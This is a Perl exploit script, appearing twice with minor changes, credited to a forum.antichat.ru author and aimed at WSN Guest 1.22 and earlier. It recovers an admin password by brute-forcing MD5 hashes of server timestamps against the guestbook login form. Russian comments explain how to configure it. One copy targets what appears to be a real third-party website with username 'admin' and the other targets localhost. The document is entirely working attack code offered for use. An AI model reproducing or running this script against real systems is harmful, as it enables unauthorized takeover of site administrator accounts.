#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n*************************************************************************\r\n";
print "|                                                                      |\r\n";
print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
print "|                                                                      |\r\n";
print "|                             By otmorozok428                          |\r\n";
print "|                                                                      |\r\n";
print "|                    site: http://forum.antichat.ru                    |\r\n";
print "|                                                                      |\r\n";
print "*************************************************************************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://www.pinkelephants.org.uk/guestbook/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
#формой входа в админку.
$key_word = 'supply';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213029991;
$end_range = 1213030010;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
    $passes_checked++;
	$password = md5_hex($i);
    $ua = LWP::UserAgent->new;
    my $req = POST $wsn_path.'index.php?action=login&filled=1',[username=>'admin',userpassword=>$password ];
    $str = $ua->request($req)->as_string;
    if (!($str =~ /$key_word/)){
        print "Congratulations! Your pass - ".$password."\n\n";
        print "Passes checked: ".$passes_checked."\n";
        exit();
    }  
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";

 #!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n*************************************************************************\r\n";
print "|                                                                      |\r\n";
print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
print "|                                                                      |\r\n";
print "|                             By otmorozok428                          |\r\n";
print "|                                                                      |\r\n";
print "|                    site: http://forum.antichat.ru                    |\r\n";
print "|                                                                      |\r\n";
print "*************************************************************************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://localhost/wsn/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
#формой входа в админку.
$key_word = 'match';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213201857;
$end_range = 1213201893;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
    $passes_checked++;
	$password = md5_hex($i);
    $ua = LWP::UserAgent->new;
    my $req = POST $wsn_path.'index.php?action=userlogin&filled=1',[username=>'hi',userpassword=>$password ];
    $str = $ua->request($req)->as_string;
    
#    print $str;
    
    if (!($str =~ /$key_word/)){
        print "Congratulations! Your pass - ".$password."\n\n";
        print "Passes checked: ".$passes_checked."\n";
        exit();
    }  
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";